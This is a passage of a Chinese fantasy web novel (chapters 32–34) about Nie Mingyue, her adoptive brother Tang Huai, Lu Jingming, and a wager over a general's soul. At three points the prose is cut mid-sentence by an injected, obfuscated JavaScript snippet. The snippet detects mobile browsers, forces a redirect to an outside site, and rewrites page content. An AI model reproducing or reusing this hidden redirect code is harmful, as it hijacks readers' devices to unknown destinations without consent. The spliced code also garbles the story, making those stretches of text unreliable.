孟夏连忙从对面房间出来,走到孩子面前蹲下来:“别哭啊香香,她什么样的人,你又不是不知道!要么不说话,要么说不出好话!你跟我来,我带你去厨房呀……” 她拉着娃娃的手,边走边说:“我昨天买了好多菜,今晚打算聚餐呢!你喜欢吃什么呀……”她回头冲聂明月眨了眨眼,“让你姐姐先去跟客人谈事,回头我和你一起教训她……” - 计九崖在客厅接待陆靖鸣父女,从头到尾没给那两人好脸色。陆靖鸣并不在意,他先说明了自己的来意,又说和计九崖其实是林州老乡。 计九崖看到他的时候,就知道他是谁了。越东王陆家又怎样?百年前的老势力了,他计家也不会把他放在眼里。 倒是皮千秋从没受过这样的冷落。她无论是跟着干爹,还是和自己爸爸,去哪里对方都是客气谨慎的。 偏偏只要和明堂有关的人和事,干爹就一副忍气吞声的样子,她早就想来海泽会一会这帮人了! 唐槐端着泡好的茶过来,恭敬地放在陆靖鸣面前。二叔跟他说过,陆靖鸣是南方的大商人,他家长辈也是爷爷的前辈。 他琢磨着,原来陆叔叔早就认识太奶奶了,那他看起来很年轻,难道也是个大妖怪? 想到这,他忍不住偷瞄陆靖鸣。 聂明月带香香上楼已经有一会儿了,他依然气定神闲,非常有风度的样子,并没有把这样的怠慢放在心上。 “没有百年的修行,做不到这种程度。”唐槐觉得自己的判断没错。 那,皮千秋——难道也…… - 聂明月下楼时,看到的就是这幅画面: 皮千秋跷着二郎腿,一脸不屑; 陆靖鸣喝着茶,云淡风轻; 计九崖揣着手靠在吧台前,神情戒备; 唐槐,唐槐这小子怎么回事?眼神鬼鬼祟祟,表情阴晴不定,那点小心思全在脸上了…… 她走到陆靖鸣对面,坐了下来: “你想先叙旧,还是想先把今天的事说清楚?” 32. 应龙之伞 人间行走指南: 【人类虽如朝露,却能以理想之火创造新世界。】 - 家姐明月: 离京半载,思绪难眠。今日考试放榜,弟侥幸折桂,得闻将赴美深造。喜讯方传,却是憾中有望。憾将远别故土万里,书信难诉思念;望能远赴西洋,习得真才实学。 初离京于远洋邮轮,邂逅越东总兵之孙陆靖鸣。此子年方六岁,初见时蜷卧舱角啜泣。忆及当年弟夜啼,姐姐费心安抚,既为长姐,复为亲师,恩情深重。今日见此景,不禁心生怜惜。弟受其祖父所托,明日将携靖鸣赴纽约,幼童懵懂,责任重大,方知姐姐昔年照拂之艰辛。 东瀛游学,亲见弊端。彼处学堂,多为射利之徒所设,号称数月可毕业,实则徒具其表。今日之世界,强权即公理,唯有真才实学,方能自强。 如今列强环伺,国势危殆。每忆祖母常念及义父大人卫社稷之事,弟虽不及将军之才,然亦立志有朝一日,助我泱泱中华与世界比肩而立。古人十二观场,十五游学,弟今远行,正当其时。愿以此身许国,以此志报亲! 恭请姐安 弟唐槐叩上 一九零五年八月二十日 又及:靖鸣今晨习字,写下"举杯邀明月,对影成三人"。笔画稚拙,却字字见吾心。谨以此书,遥寄思念。 - 1905年春,六岁的陆靖鸣在祖父陆广兴的安排下,踏上了从上海驶往横滨的远洋邮轮。 彼时陆广兴刚升任越东总兵,从总督一句闲语中得知,朝廷将于下半年废除科举。他出身水匪,深知无功名加持的艰难。原想着家族绵延,需要培养后辈专注科举,为将来朝堂布局。闻此消息,为抢占先机,心一横,托京城故交,将亲孙子塞进了留洋名单。 陆靖鸣自幼早慧,聪颖独立。听祖父说是“上学”,便觉得反正每天都在读书,不过是换个地方而已,便欣然应允。只有他的母亲落着泪,赶紧安排裁缝上门为他缝制新衣。 上船后,陪同的老管家只能进内舱房,便托船员将他带到高级舱看顾,约好每日三餐时在餐厅门口与大公子见面,就没了人影。 这是他第一次坐船。在此之前,他只在家里的莲池边看过纸船。那还是去年端午,母亲教他折了一只小舟,放在池里顺风漂去。如今他自己倒像那片薄薄的纸船,飘摇在茫茫大海上。舱房里飘着一股混杂着咸腥味,船身随着浪涛起伏,天花板上悬着的灯也跟着轻轻摇晃,在墙上投下摇曳的影子。 他独自走到了甲板。这里人声嘈杂,有西装革履的洋人、穿着制服的东瀛人,说着他听不懂的话。几位穿长衫的朝廷官员正倚在栏杆边争论。那些十二三岁的少年聚在一起,兴奋地看着大海。一群海鸥从他们头顶掠过,白色的翅膀在阳光下闪着银光。 唐槐就是在这个时候留意到陆靖鸣的。小孩穿着一件绣着暗纹的藏青色丝绸长衫,估计是南方哪位官员家的公子,长得过于白皙精致。 “哪家大人舍得把这么小的孩子送出来?瞧着还没断奶吧!”相熟的少爷指着那孩子小声议论,大家侧目看去,全都笑了起来。 陆靖鸣不知道他们正在笑他,茫然四顾,一脸怯怯的样子。 傍晚吃过晚餐,唐槐独自回房。他是太子太保之子、一品诰命夫人的孙子,可以住带海景窗与洗浴间的套房。路过转角处,他听到了断断续续的抽泣之声。 他循声而去,在一间没关上门的舱房内,那孩子正蜷缩在床榻一角,泪水一颗一颗地砸在缎面暗花的衣襟上…… - 1905年秋,作为东瀛第一次留学生考试的第一名,唐槐登上了横滨开往美国旧金山的轮船。老管家写给陆广兴的信中,讲述了大公子这半年一直在聂大人之子身边。那位少爷学识丰富、品性高洁,对大公子关爱有加。大公子因年幼而学业不通,是本次考试的末位。按照学校规定,他将与其他留学生一起被遣送回国。 陆广兴的回信是写给唐槐的,他称已被邀请明年赴美考察,希望唐槐能将陆靖鸣一同带往美国,届时会亲自上门。 海上航行近半月,抵达旧金山后,乘太平洋铁路列车,终至纽约。这期间,唐槐每天除了教陆靖鸣读书写字,就在舱内写信。 陆靖鸣知道他有一位长姐,叫聂明月。陆靖鸣是陆家长孙,家里还有一个刚出生的弟弟。现在得到唐槐的关爱,已视唐槐为兄长,于是便也唤聂明月“阿姐”。 到了纽约后,唐槐白天将陆靖鸣送往当地小学上课,晚上将他接回来后,先询问一天的学业,再讲述大学的课程。最后一件事,依然是给明月姐姐写信。 祖父陆广兴确实来过纽约,他与唐槐进行了一次彻夜长谈后,又匆匆离去。 唐槐对当晚之事一字不提,只让陆靖鸣专心学业。陆靖鸣也不愿意离开兄长,于是就这样从小学读到了中学。 四年后,唐槐成为大学工业研究实验室唯一的华人学生、副研究员,并辅修政治、经济课程。周末与节假日,他都会与几位华人青年在小公寓中热烈讨论、筹划,这是陆广兴为他带来的资源之一。 不管多忙,他依然坚持每周至少给聂明月写一封信,分享自己的经历和见解:“明月姐比我更优秀、更聪明。她太忙,那我就替她学完,再讲给她听......” 从唐槐的讲述中,明月阿姐勇敢坚韧、聪慧美丽、无所不能。 陆靖鸣相信,唐槐说的都是真的。 只不过,唐槐从没有收到过阿姐的回信。 “姐姐不在京城家中,她有很多更重要的事要做,所以我只用写给她就好。她能看到这些信的时候,必定是很久以后了。” - 1910年11月初,聂明月回到京城将军府,从管家手里接过三个手提箱,里面都是唐槐的来信。 半个月后,她在上海的码头接到了唐槐。高大俊朗的青年从船上下来,一眼就在人群中看到了日夜惦念的姐姐,她一点都没变,她永远都不会变。他挺正脊背,笑着朝她走去。 聂明月却有些愣神。她用十天时间,看完了他写来的三百八十一封信。从最初稚嫩端方的毛笔字,到后来流畅精细的墨水字,她一字一句地详读着。透过这些信,她亲眼看着那个曾在战火中大声哭泣的男孩、曾蜷缩在狭窄船舱中被噩梦惊醒的男孩,拼尽一切地用力长大着,在十八岁就成为全世界最年轻的杰出工程师——她没有错过他的每一个重要时期。 尽管学无止境,他还是回来了。 十年之约在即,即便从未收到过回信,他也一定要在这个时候和她在一起。 她与撑伞人的约定,只有他知道,她没有对任何人提起。 - 再次回到家乡,唐槐已经认不出来了。 小渔村成了过去,如今眼前是一座繁华精致的海滨小镇。每天船来船往,无数商人从四面八方而来,到北港寻找商机。 北关失守后,渔村所在的地区被朝廷租让,洋人们修铁路、盖房子,建立了地方管理机构。虽离核心区域较远,但受附近铁路开通的影响,北港已成为重要的贸易码头之一。 北港码头最初的老板、传说中的丽娘子,已于三年前将全部产业转卖给海外公司,从此销声匿迹。 她用七年时间,将贫瘠的小渔村打造成商贸繁荣的综合性城镇。当地人谈起这翻天覆地的变化,总会想起那个笑靥如花的女子。 - “丽娘成亲了。”聂明月对唐槐说。丽娘遇到了一位心仪的南方商人,正好北港的崛起已被多方势力垂涎,她一向快意人生,从不屑于阴私手段,做得不开心了,找个借口就脱身。 “明月,我想去更大的世界看看。我的人生足够长,我想先挥霍一世。”她其实不需要说太多,只要她想做的,聂明月都会支持。 只有阿金有些担忧:“小姐这次不会又被男人骗了吧……” 聂明月对阿金说:“那也得是,她愿意被骗。” 阿金还是跟着丽娘走了。她本就是丽娘的一部分,心智单纯,没有太多想法。如果不在丽娘身边,她也不知道自己该往哪里去。 丽娘往北港家中写过信,她先去了上海,又去了广州,马上就要去香港定居:“明月,你帮我在北港买栋房子,等认识我的人都不在了,我再回来……” 这才是她离开的真正原因。妖灵精怪的寿命本就比人类更长,那张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14310427|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十年如初的脸,会引人生疑。 爱情能维持多久呢?对人类来说,三五十年的相守就是一生。 丽娘的爱情能维持多久呢?只会持续到对方察觉她不曾老去的那一天。 - 一滴水落在了图纸上,将线稿洇出了一个小圆点。 晴朗的天空突然飘起了小雨,聂明月将图纸折起来,递给了唐槐:“他来了。” 前方海边,一个看不清脸的人撑着伞,正在等他们。 “我第一次来这片海。”那人说,“你这些年一直在这里?” “也不全是。我外出后,习惯回这里。” “我知道你这十年做了什么。你让将军受万家香火,以信仰之力供奉于他。”只要他想看见,这世间发生的一切,他都会看见。 “你十年斩妖除魔,作祟的妖灵已经难寻其一。”他冥池空了许久,没有新的妖魂出现。 “你让被恶妖重伤的草木精怪,进了蜃妖的幻境之中修炼。”人间早已无修炼一途,只有妖物死后的幻境,才有大量灵气。 “你做得很好。”这些事让他挑不出任何瑕疵:“但是——” “将军的愿望呢?你似乎什么都没做。”那才是约定中最重要的部分。 “聂小姐,纵有明堂之力,我也不得不说,你输了……”伞檐遮住了他大半张脸,但仍可看到他正扬起了胜利者的笑容:“你须得愿赌服输,把将军的生魂交给我。” - “大人!”唐槐不等聂明月开口,向前一步:“你可看到北港的变化?” “区区北港,将军求的是整个人间!”年轻人就是不肯认输啊。 “北港的变化,就是之后世间的变化。”唐槐说:“北港成功了,很快就会有第二个北港!” “金钱和财富就能让世间安乐吗?”撑伞人语气嘲讽:“哪朝哪代少过富人?” “我曾赴东洋留学,在西洋深造。无数像我一样的学子,正在努力,他们将把学到的知识,科学、医学、工业制造、音乐绘画……带回国内。还有各地有志之士,正在四处奔波呼喊,唤醒沉睡中的国人……”唐槐越说声音越低沉,“我曾目睹一位兄长,为了反对他国禁止我朝派学子留学的规定,以身投海;还有一位先生,放弃家族背负和百年家业,潜心翻译海外著作,只为让更多人看到外面的世界……” “大人,改变世界,不是我姐的责任,她也确实做不到……”唐槐抬起头,“因为这个人间,并不需要神!神从未对人间慈悲。只有人,无数的人同心向前,才能实现将军的愿望!” “我想,将军真正的心愿,是国之强大,这才能不畏外敌、家国安宁!”说到这里,他已双目含泪。 “请你相信我们,一年时间,你会看到宿弊渐除。之后,那曾让我们抬不起头的一切,会变成脊梁,让我们最终站起来。”他言辞恳切,字字有力。 撑伞人又笑了:“年轻人,你是当年那个孩子吧?你和你的同伴们,都很了不起。” 他看向聂明月:“聂小姐,你现在明白了吗?你从不需要背负任何责任与期待。因为人类的世界,需要人类自己负责。” 聂明月久默方问:“你与我打赌,真正的目的,是什么?” 撑伞人笑得开心:“哈哈哈,我当初只是怕你真要灭世,拖住了你十年时间而已。你可以告诉我,你现在的答案吗?” “你来之前,我们正在规划,要在这里——”她伸出手,指向前方:“建造船厂。”又朝着她来的方向:“那里,建冶炼厂……” “你认输,我就继续做。”她说:“你不认,我就杀了你。” - 撑伞人脸色一变:“尽管我知道你只是说说,但我也知道,你真的有杀了我的能力。” 他合上黑伞,递到聂明月面前:“你们做的很好,我认输。这是应龙伞,你日间撑伞而行,夜间就不会再遭受燃魂冰魄的折磨。这把伞还有别的妙用,若你愿意,可以自行探索。” “聂小姐,请按照你们的计划,继续做下去。” “我相信你,更相信这年轻人和他的同伴们。” “将军的心愿,终有一天能实现。” 33. 长恨此生(上) 人间行走指南: 【人间一次困顿,胜过百年修行。】 - 1923年夏末,法国巴黎。 陆靖鸣站在画室,望着自己未完成的油画作品:远处是浓重的暮色,近处是一片莲池,池边站着一个模糊的背影。这是他仅存的关于母亲的记忆。 上午,他收到一封来自林州老家的信。老管家笔间道尽家族近年变故:五年前,他的母亲就已病逝,一年前父亲失踪。祖父陆广兴在任两越总督后不久,遭三方势力围攻。战场失利,被迫通电下野。半年前,他带老部下奔赴上海,此后音讯全无。四十五天前,二公子于雨夜离家,至今未归…… 老管家年事已高,思及大公子仍在海外,家中之事无人做主,才给他写来这封信。 他当年曾写信给祖父,恳求能与唐槐一同回国。那封信只换来一句"还不是时候"。唐槐走之前,将他送到旧金山的远东学校——那是华人唯一能就读的公立寄宿中学。 彼时的他虽才11岁,但在唐槐的教导下,知道祖父这样的安排必有原因。他多年海外生活已经习惯,同宿舍的韩国同学经常因思乡而哭泣时,他还善意安慰。直到上大学来到巴黎学习绘画,在塞纳河畔看落叶飘零,才悟出乡愁原是一种与生俱来的顽疾,成年后才会露出端倪。 他收拾完画室物品,又去找了校长,拒绝了学校前日发来的任教邀请。 "为什么?"校长不解地问,"你在这里可以获得一切。" 陆靖鸣望着窗外的梧桐树,轻声说:"不,我失去的太多了。" - 从巴黎到广州的轮船上,他遇到了一位同样归国的留学生。那人说起国内的局势,自清政府下台后,国内军阀混战,各方势力盘踞,民不聊生。陆靖鸣静静地听着,想起祖父最后那句"还不是时候"。 十八年后再回到林州,老宅比记忆中小了许多。门庭上的漆早已剥落,露出暗红的砖墙。老管家的手不再稳了,为他斟茶时,茶水溅在桌上。陆靖鸣扶着老人坐下,树下的莲池干涸,堆满了落叶。 他的父亲不过是个小商人,是陆广兴看中他无父无母,遂招赘入府。母亲陆云景乃林州城中第一美人,世交千金无不艳羡她命好,无需承担家族联姻,依旧可以婚后在家当大小姐。 陆靖鸣出生当年,陆广兴率水寨众人被朝廷诏安,担任军营统领。弟弟降生当日,陆广兴再获提督之职。林州城人皆称,陆云景这桩姻亲,为陆家带来无上气运。 陆靖鸣对父亲的印象是模糊的。他自幼早慧,三岁背《论语》,五岁能诗赋,却只换来父亲的一句“还不错”…… 弟弟出生时,父亲将新生儿抱在怀中,笑着对母亲说:“按照约定,这个孩子可以跟我姓了。” 他那时才知道,不是因为他不够优秀和努力,才得不到父亲的关爱和重视。 只是因为,他姓陆。 - 处理完林州的事务,他动身去上海。按照唐槐来信的地址,在法租界的一条僻静的巷子里,他看到了《有明堂》杂志社的牌匾。 推门进去时,唐槐正在伏案写着什么,岁月没有在他脸上留下太多痕迹。见陆靖鸣,唐槐先是一怔,继而放声大笑,起身相拥。 "你终于回来了。" "大哥,我回来了。" 寒暄过后,唐槐让陆靖鸣等他下班后回家再详谈。他的书桌上放着一叠新印刊物——《有明堂》创刊号。 陆靖鸣随手翻看,那一页是带原文的白话文体《唐传奇·霍小玉传》,配着精美仕女插画。他原以为唐槐信中说的办杂志,是时政类刊物,没想到居然是民俗文学的风格。 此时,一位学生装扮的年轻女子推门而入,见办公室多了一人,神情微怔。 那女子披着如瀑黑发,鬓边别着一枚黄色发卡。她的肌肤如雪,眼睛清澈明亮,鼻梁挺直,此时正轻抿着嘴唇,礼貌又清疏地笑着。 "这位是......"他抑制住心弦颤动,问唐槐。 "你的明月阿姐,"唐槐笑着说,"她正在女校读书,打扮年轻了些。" 陆靖鸣怔怔凝视聂明月。在他与唐槐生活的五年时光里,每一个昏黄台灯下的深夜,总有明月阿姐相伴。他曾无数次想象阿姐模样,此刻终见真容,却怎么也叫不出那声"阿姐"来。 窗外的梧桐叶簌簌而落,陆靖鸣知道,他终于真正地回来了。 - 明月山庄,一号公馆。 “阿姐,今天的事是个误会。”陆靖鸣看着聂明月。时隔五十年,没想到久别重逢是从道歉开始。 他是特意来海泽的。几天前,有人发来视频,说一号公馆有女鬼现身。他知道聂明月如果回来,一定不会主动与他联系。他多年来一直在留意海泽的消息,特别是从今年开始,专门安排了人手搜集海泽大小事件。 陆靖鸣看到视频时就知道,阿姐回来了。于是给皮天禄打了个电话,没想到干女儿皮千秋在旁边听到了,吵着要一起来。他想着唐青山的告别式虽然赶不上,但至少可以让皮家后人与唐家能见个面,便没有拒绝。 上午他与唐首义见面,当听到那年轻人叫“唐槐”时,心中百感交集。大哥当年与阿姐说起轮回之事时,他就在旁边。看着眼前这个与大哥没有丝毫相似的唐槐,往事历历在目,但却不能与人言说。 他打算常驻海泽,像大哥当年那样守在聂明月身边。既然到了北方,就不可能绕开唐家。他与唐家谈生意上合作的事,唐首义见他带了个干女儿,还以为是要撮合两个年轻人,便让唐槐带坐不住的皮千秋下楼走走。皮千秋见到唐槐颈中石坠,察觉到上面有灵气异动,就套话使计去了镇海寺。 正好神兽化形,被皮千秋以为是妖兽作祟,贸然出手,才有了后面的事…… - “阿姐,皮天禄就这么一个女儿,来得不容易。皮千秋虽然顽劣,但本性不坏。皮家在西南做的不错,我们都在等阿姐回来……”陆靖鸣见聂明月只听他说话,一言不发,以为她对皮千秋的行事不满。 “手枪怎么回事?”聂明月问。那把枪能伤香香,且被皮千秋拿在手里,想必已经做过不少类似的事了。 “那是老皮研究出来的玩意。他说现在时代不同了,捉妖法器要与时俱进。他搜集了些妖兽材料,不止做了枪,还有一些别的东西。”他又补了一句:“我们都是按照阿姐的交代做事的,每一个作恶的妖魂,均由阴冥司的关大人带走。” 一直沉默的计九崖听提到了关临渊,眉头一跳。暗想,这三个人凑到了一起,不知道南方被他们祸祸成了什么样。 他与关临渊有宿怨,两人互相看不顺眼已久。 聂明月看了一眼皮千秋,那女孩原本一脸倨傲,听陆靖鸣说完今天的事后,神情变得紧张不安,不仅收起了二郎腿,还偷偷从眼角余光中观察她的表情——这倒和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329264|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才唐槐的鬼祟模样如出一辙。 聂明月听了陆靖鸣的一番话,察觉他对孟夏和黑衣男人的事并不知情,便歇了追问的念头。她决定私下再去查明皮千秋隐瞒这件事的真正原因。 也许,皮天禄知道的比陆靖鸣更多。她对皮天禄此人本就不是十足信任,是当初唐槐判断,即便皮家另有私心,但对明堂有所求,更有所忌惮,不会冒着得罪明堂的风险胡作非为。 她以明堂之名行走多年,马鹿子与皮天禄先后为她在南方做事。时间久了,她也明白用人不疑的道理。不管他们各自怀了什么私心,只要不涉及到明堂行事的底线,她也不会过问。 况且—— 况且有关临渊在南方,若是他们真的做了什么,在秦川时,他应该就告诉她了。 “你和皮天禄这些年怎么样?”她问。 陆靖鸣见聂明月终于问及了他,松了一口气,又开心起来:“我们……明面上的事都交给年轻人了。毕竟常年露面,有心人会发现我们不曾变老,徒增事端。” - 当年回国,陆靖鸣只在唐槐家住了一晚,第二天早上,他就按唐槐给的地址,来到了祖父租的公寓。祖父此时早已缠绵病榻,还是唐槐请了一个护士在照看他。 “你……你怎么回来了?”尽管十八年未见,陆广兴一眼就认出了长孙——他与他的母亲长得极为相似。 “爷爷!家里发生这么多事,您为何不告诉我?”陆靖鸣不解他的坚持。 “你……你赶紧走……”陆广兴不让他靠近。他以为祖父病得糊涂了,连忙说:“爷爷,家业败就败了,以后您不用再费心了,就让我来照顾您吧。” 陆广兴支撑不住病朽的身体,仰面躺下,一行泪从眼角滑落,嘴里喃喃说道:“你……走……” - 陆靖鸣就此在上海住了下来。他一边照顾祖父,一边在唐槐的出版社为杂志画插图。一年后,唐槐将杂志交给提拔上来的主编,和聂明月回了京城。 唐槐回国十三年,涉及的事务众多。他在北港城还有一家船厂与钢铁厂。他把上海的组织及后续事情让陆靖鸣接手。 这时候陆靖鸣才知道,原来这是祖父与唐槐在上海做的事业——他们在支持几股势力,暗中参与推动国内政事。 一年后,陆广兴病情加重,医生让他做好准备。他第一次面临至亲的即将离去,给唐槐打电话时,终于忍不住落泪。 没想到三天后,唐槐与聂明月一起来了。陆广兴在临终前,有了短暂的清醒。他示意陆靖鸣从衣柜的保险箱里,拿出一个刻着诡异符文的木盒。 “陆家祖辈是越东巫傩……家族至宝神狮之心……你母亲不是病死的,是被你父亲筹划谋害……他入赘,就是冲狮心与巫傩血脉……你弟弟是妖怪……你拿着狮心,走!越远越好,不要被他们找到……”陆广兴断断续续说着。 陆靖鸣只当是祖父是离世前的神志不清,一旁的聂明月却伸出手,拂过陆广兴额头。片刻后,老人又有了气力,接着说:“聂小姐,陆某此生已无憾,只求聂小姐看在我将家产全部捐给组织的份上,保我陆家……别断了后……” 他又看向了唐槐,浑浊的眼中泛着泪花:“谢谢你当年照顾靖鸣,与唐先生深交,是他的福气。以后,就交给你们了……” 越东史上唯一一位被称作“王”的一代枭雄陆广兴,在长孙陆靖鸣的陪伴下,逝于上海租住的公寓中。 34. 长恨此生(下) 人间行走指南: 【妖与人一样寿命有限,对长生的向往,殊途同归。】 - 两天后,唐槐与聂明月带陆靖鸣离开上海。从上海到京城,全程需要60多个小时。三人需要先到南京,再坐轮渡到长江北岸浦口,乘津浦铁路至天津…… 唐槐在北港城已是声名显赫的大商人,他不仅有船舶公司和钢铁厂,还创办子弟学校,设立了奖学金,每年选拔优秀的平民子弟出国留学。除了上海的杂志社外,奉天、天津都有他的产业。平时的他是低调神秘的,但这次却安排了头等车厢,不仅是他不想让姐姐与弟弟受旅途之苦,还因为他们此次带着陆家的宝物神狮之心。 上火车前,一直由聂明月提着装有狮心木盒的皮箱。陆靖鸣本不想让阿姐提重物,唐槐却说:“在姐姐手里才最安全。” 狮心到底是什么,唐槐问过聂明月。聂明月猜测,应该是带有灵气的妖兽内丹,如同当年她灭蜃妖后,得到的那枚珧贝一般。马鹿子说,珧贝是蜃妖三千年修炼结为的灵宝,若人类带在身上,可启根骨修炼。妖怪服下,可以增加至少五百年的修为。 陆靖鸣望着窗外掠过的树影,这一路亲历中转奔波,想着兄长与阿姐接到电话后,是以最快速度赶到他身边的,心中不禁升起暖意。 他见过聂明月用珧贝为爷爷抢回来一口气的奇异场景,再想到爷爷说的家族之事,他自幼受西方教育长大,这一切都已经超乎他的认知,无数个疑问被他强压在心底。 包厢里的电灯明亮温暖,包厢外的过道传来脚步声,一对绅商模样的人从门前经过,正高谈阔论着沪上近来的行情。在动荡的年代,每一节车厢都藏着不同的人生。 短短数日,陆靖鸣人生发生巨变:"大哥……如果没有你和阿姐,我真不知道该怎么办了。"想及此后便是孑然一身,他的声音微微颤抖。他知道,他即将面对唐槐向他讲出真相的时刻。 - 唐槐递给他一杯热茶,从当年陆广兴赴纽约的那次长谈说起—— 陆云景自生下小儿子后,被丈夫引诱吸食大烟。那时陆广兴忙于战事,没发现女儿的异状。等他回来时,陆云景已经整日精神恍惚,烟瘾发作时形同鬼魅。陆广兴用家族秘术为她治病,她偶尔清醒时,说曾目睹丈夫显出半妖半人的诡异模样,逼问她说出狮心的藏匿之处。 陆云景从出生起就被陆广兴如珠似宝地养大,自然不知道家中秘事。从那之后不久,老宅中经常被发现有野兽出没的痕迹,兽毛、脚印、爪痕……直到奶娘在照顾小少爷时,被婴儿露出的兽牙吓跑,两天之后,奶娘就失踪了……宅子里的家仆人心惶惶,私下说着府中闹鬼的传闻。 唐槐的声音在摇晃的车厢中继续着:"你祖父派人彻查了你父亲的来历,从他无根无底的经历中抽丝剥茧,终于找到一个知情者。在严刑逼问下,那人供出,曾一行五人从古墓中挖出邪物,后来同伴都被灭口,只有他察觉不对劲,隐姓埋名跑到了乡下。那件事后不久,你父亲就与你母亲在一次聚会中相遇,两人一见钟情。最终,他成了陆家的赘婿……" “你祖父说,你父亲的名字和身份都是假的,对于他的过去,没有任何能深入下去的线索。” 陆广兴祖上虽然是巫傩,但他本人并不通捉妖的法术。他见陆云景已病入膏肓,果断先将长孙陆靖鸣送到了东瀛,并安排族中长老,也就是陆管家陪同。之后他去了滇西,找到陆家百年前的世交皮家,皮家已是雄踞一方的滇西王,家族庞大。 族长听他的描述,判断能化形且能与人类生子的妖怪,必定是千年以上修为,需倾家族全力来做准备。他建议陆广兴先稳住对方后,再做打算。 正好这时陆管家写信告诉他,陆靖鸣在船上结识的唐槐,是生平仅见面相气运甚绝者,可以信任并倚仗。于是他找了个赴美考察的机会,将陆靖鸣托给唐槐照顾,同时把历年参与地下活动的资源一同给了唐槐。 五年前,就在陆家皮家正准备联手捉妖时,陆云景病逝了。皮家派来的人查探到,陆云景生魂被人夺走,但不是女婿下的手,他似乎也在四处寻找陆云景生魂。双方继续追查,却没有进展。恰逢国内政局再起动荡,在三大势力的联合围剿下,为保全皮家能置身事外,他只得壮士断腕,通电全国,即日下野。 一年半前,皮家族中骨干进入林州,布下了天罗地网,那妖在混斗中以邪术诛杀皮家独子与术士数名,他自己也重伤后没了踪迹。 从那以后,皮家元气大伤,陆家与皮家的命运牢牢绑在了一起。 - 唐槐讲述的过往,将陆靖鸣带入一个完全陌生的世界。此时他才真正明白祖父的苦心:若命运无法躲避,宁可牺牲一生基业,也要保住陆家最后的血脉。" "大哥,那我接下来该怎么做?"他轻声问道。家族宝物、母亲的死、失踪的弟弟……一连串难解的谜题压在心头。 "你要做好长期奔波的准备。但在那之前,你得先学会保护自己。"唐槐拍拍他的肩膀,"我已与皮家族长约好在京城会面,我们先回京城……" 火车继续向北驶去,车轮与铁轨的碰撞声在寂静的夜里格外清晰,载着陆靖鸣驶向未知的命运…… - 京城,聂府。 “聂小姐!京城不好玩……我要回北港!”一见到聂明月三人回府,已喝得酩酊大醉的马鹿子,正一身酒气地坐在桌前,打着酒嗝抱怨着。 与马鹿子喝酒的,是一个胖胖的中年男人。他一身富贵打扮,大腹便便。那一桌酒菜已消耗大半,不知道两人喝了多久。 马鹿子醉成那样,他却一点事没有,满脸带笑地与众人自我介绍:“在下滇西皮天禄,中午刚到聂府……这……马仙人见到在下,就拉着一起吃菜喝酒……”他言辞诚恳,一脸忠厚模样。唐槐与陆靖鸣得知他就是皮家现任族长,完全没想到传说中滇西捉妖大族的首领,居然是富商的模样。 蜃妖事件之后,聂明月见马鹿子确实有些本事,许诺他可进明堂幻境中修炼,但要为她守在北港三十年,确保期间没有妖鬼作乱。 这是聂明月从撑伞人那里学到的——凡事不必亲力亲为,用对方想要的条件,来帮自己做事。马鹿子三百年来修为没有任何进展,本也是冲着海妖去的。虽不情愿,但着实垂涎明堂山下的灵气,只得留在了北港。有他在的这些年,北港确实是北方最为干净的地方。 这次被聂明月唤来京城,他见城中鬼魅魑魍污秽不堪,每一天都如坐针毡。日盼夜盼,终于等到了聂明月回来。 “扑通”一声,聂明月不吃他懒惫撒泼这一套,直接将他抓起来,扔到了花园池子中。陆靖鸣见阿姐毫不费力地提起那疯道人,吓了一跳。 马鹿子是彻底清醒了,知道自己又酒后失德,顶着满头塘泥,竟不敢立即爬上来。 “收拾好,来书房。”聂明月懒得理他,冷冷地离去。 直到纤瘦背影从花园走远,马鹿子才形容狼狈地爬上岸。陆靖鸣好心拉了他一把,他却在无意扶上陆靖鸣手臂的瞬间,神色大变,嘴里不知道嘟囔着什么,匆匆回房。 - 傍晚的书房中,五人聚在一起。皮天禄得知狮心就在桌上的皮箱之中,尝试窥视了一下,皱了皱眉头:“聂小姐,这狮心……”在没看到狮心之前,他也说不好到底是什么感受。 马鹿子迫不及待打开皮箱,正要捧出木盒,手就像被烫了一般,将木盒扔回了箱子中。 “哎呀呀,有禁制!”那木盒看不出材质,上面刻着不规则的图样。马鹿子抱怨道:“陆家有点本事,居然能防到本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345733|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道长!” 皮天禄却伸出了手,唐槐正要提醒他,木盒却被他打开了。 “在下也是好奇,马仙人神通修为……这……”他露出了不好意思地笑:“在下也不知道怎么就无事……” 聂明月嫌他心眼多,不多理会。众人看向盒中,一团青黑色的晶状物体置于丝绒里布之上。 "咦?"纵是皮天禄善于矫饰,也没忍住面上惊讶:“这不是完整狮心。狮魂已被人取走了……” 